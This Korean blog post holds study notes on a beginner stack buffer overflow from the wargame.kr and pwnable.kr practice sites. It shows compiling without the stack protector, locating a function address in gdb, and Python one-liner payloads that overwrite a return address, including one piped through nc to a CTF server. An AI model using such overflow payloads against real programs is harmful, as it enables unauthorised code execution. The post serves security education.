관리 메뉴

개발자비행일지

모의해킹 리눅스 스택 시스템 해킹 기초예제 본문

▶ 모의해킹 공부

모의해킹 리눅스 스택 시스템 해킹 기초예제

Cyber0946 2020. 2. 18. 15:45

버퍼오버플로우 기초예제

#wargame.kr의 해킹 튜토리얼을 보고 복습하기 위한 글입니다. 

#http://wargame.kr/tutorial/system1,l

 

Wargame.kr - 2.1

Heap Concept Tutorial#1(for heap exploit)

wargame.kr

1. 버퍼오버플로우 예제 소스 코드 작성을 위해 UBUNTU에서 터미널을 열고 vim 편집기를 사용해서 bof.c 소스코드를 작성한다. 

소스코드는 다음과 같다. 

해당 소스코드를 리눅스에서 사용하는 메모리 보호기법을 제거하고 컴파일 한다. 

$gcc -o bof bof.c -fno-stack-protector

$gdb bof

(gdb)set disassembly-flavor intel

(gdb)disass main

우리는 버퍼 오버 플로우를 통해서 foo 함수를 실행시키고 싶다. 이를 위해서는 

아래의 그림처럼, func의 ret주소에 foo 함수의 시작 주소를 덮어 씌우면된다. 

foo 함수의 시작 주소를 알기 위해서는 야

(gdb) p/x &foo를 통해 알 수 있다. foo의 주소는 0x804843b이다.

아래는 각각의 disassmeble 결과이다. 

다음과 같이 덮어씌우기 위해서 argv[1] 에 "A" 20개와 foo 함수의 시작 주소를 리틀 엔디안 방식에 맞게 담아서 인자로 전달해야 한다.  그러기 위해 백쿼트를 이용해서 파이썬 문자열로 만든 다음 그 결과를 전달해 준다.'

 아래는 각각의 disassmeble 결과이다. 

$./bof `python -c "print 'A'*20+"\x3b\x84\x04\x08'"`

[참고]

#https://doitnow-man.tistory.com/42

uffer Over Flow를 수행하기 위해서 실행 파일에 입력을 해야 할때가 필요하다.

이때 공격 코드를 입력하는 방법은 다음과 같다 . 

Python을 이용한 Exploit 코드 입력 방법

 

1) 프로그램에 실행 인자로 넘겨 줄 경우 다음과 강이 사용하면 된다.

./bof `python -c "print 'A'*52+'\xbe\xba\xfe\xca'"`

 

2) 프로그램 실행 중간에 입력해야 할 경우 

(python -c "print 'A'*52+'\xbe\xba\xfe\xca'";cat) | ./bof

 

3) nc 를 이용한 Exploit 코드를 입력하는 방법(pwnable.kr bof 문제서 사용된다)

(python -c "print 'A'*52+'\xbe\xba\xfe\xca'";cat) | nc pwnable.kr 9000

 

** 중요 포인트 **

python의 -c옵션을 알아 보면 python에서 사용하는 한줄 명령이라고 생각하면된다.

python 명령어 뒤의 cat의 용도는 다음과 같다.

cat을 사용하는 추가 데이터를 붙여서 Exploit 코드를 만들때 사용 할 수 있다.

다음과 같이

()로 묶은 상태에서 Python 스크립트를 이용하면 cat 에서 입력한 내용까지 다 받아드리고 난다음에 문자열이 출력된다 

(python -c "print 'A'*52+'\xbe\xba\xfe\xca'";cat)

()로 묶지 않으면 python 출력 내용에 추가로 데이터를 쓸수 없다. 

 

1) ()로 묶은 경우 

[root@client 3]# (python -c "print 'A'*40+'aa'" ;cat) > a.txt

test

^C

[root@client 3]# cat a.txt

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa

test

[root@client 3]#

 

1) ()로 묶지 않은 경우  

[root@client 3]# python -c "print 'A'*40+'aa'" ;cat > a.txt

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaa

test

^C

[root@client 3]# cat a.txt

test

[root@client 3]#



출처: https://doitnow-man.tistory.com/42 [즐거운인생 (실패 또하나의 성공)]

출처: https://doitnow-man.tistory.com/42 [즐거운인생 (실패 또하나의 성공)]